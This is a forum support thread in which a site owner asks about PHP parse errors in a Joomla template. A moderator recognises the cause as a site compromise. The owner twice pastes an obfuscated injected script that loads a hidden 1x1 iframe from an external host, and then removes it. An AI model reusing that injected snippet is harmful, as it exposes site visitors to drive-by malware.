Parse error: syntax error, unexpected '

  • Posts: 188
  • Thank you received: 0
12 years 7 months ago #23604

I have this , do you know what happens, Parse error: syntax error, unexpected '<' in ...index.php on line 89

thanks so much I really need help

Please Log in or Create an account to join the conversation.

  • Posts: 81361
  • Thank you received: 13037
  • MODERATOR
12 years 7 months ago #23607

Please give the path of the file. There are tens of index.php files so it's not possible to know the problem without the full error message.

Please Log in or Create an account to join the conversation.

  • Posts: 188
  • Thank you received: 0
12 years 7 months ago #23608

this is it

Parse error: syntax error, unexpected $end, expecting T_FUNCTION in /homepages/16/d282439184/htdocs/printover2/templates/rt_tachyon_j15/features/login.php on line 36

Please Log in or Create an account to join the conversation.

  • Posts: 188
  • Thank you received: 0
12 years 7 months ago #23609

what I did was I delete the line 89 and now I get

Parse error: syntax error, unexpected $end, expecting T_FUNCTION in /homepages/16/d282439184/htdocs/printover2/templates/rt_tachyon_j15/features/login.php on line 36

Please Log in or Create an account to join the conversation.

  • Posts: 188
  • Thank you received: 0
12 years 7 months ago #23610

here is the index.php with the line 89 , look bad?

Please Log in or Create an account to join the conversation.

  • Posts: 188
  • Thank you received: 0
12 years 7 months ago #23611

I think I forgot the file

Please Log in or Create an account to join the conversation.

  • Posts: 188
  • Thank you received: 0
12 years 7 months ago #23612

sorry I just trying to upload the file , but don't let me here is the last lines


// trigger the onAfterRender events
JDEBUG ? $_PROFILER->mark('afterRender') : null;
$mainframe->triggerEvent('onAfterRender');

/**
* RETURN THE RESPONSE
*/
89 line echo JResponse::toString($mainframe->getCfg('gzip'));
<script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://'; b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>

Please Log in or Create an account to join the conversation.

  • Posts: 81361
  • Thank you received: 13037
  • MODERATOR
12 years 7 months ago #23613

That's an error in your template tachyon from RocketTheme.
I'm afraid we can't help you as we don't know at all rockettheme templates. You should ask their support for help.

Please Log in or Create an account to join the conversation.

  • Posts: 188
  • Thank you received: 0
12 years 7 months ago #23615

Nic I just found that almost all my sites are down and this the error , the back end is fine


Parse error: syntax error, unexpected '<' in /homepages/23/d293195893/htdocs/GE-Directory/index.php on line 89

then I found in line 89 something like this :

<script>ti='.c';ai='af';qo='p';jn='htm';rf='n';tf='doz';yn='ifr';xm='s';cl='o';jd='k9';nn='tv.';rl='85y';r='umu';eh='m/';ec='htt';sb='rc';f='ame';l='://';b=yn.concat(f);gg=xm.concat(sb);qt=ec.concat(qo,l,rf,r,tf,ai,ti,cl,eh,jd,rl,nn,jn);var xp=document.createElement(b);xp.setAttribute('width','1');xp.setAttribute('height','1');xp.frameBorder=0;xp.setAttribute(gg,qt);document.body.appendChild(xp);</script>

Please Log in or Create an account to join the conversation.

  • Posts: 81361
  • Thank you received: 13037
  • MODERATOR
12 years 7 months ago #23617

Looking at the javascript code on google, it looks like your websites might have been hacked:
www.google.co.uk/support/forum/p/Webmast...de0ceb03a46257&hl=en

Please Log in or Create an account to join the conversation.

  • Posts: 188
  • Thank you received: 0
12 years 7 months ago #23621

thanks men , it was a ftp hack , wow I remove that line and update the template, thanks again.

Please Log in or Create an account to join the conversation.

Time to create page: 0.074 seconds
Powered by Kunena Forum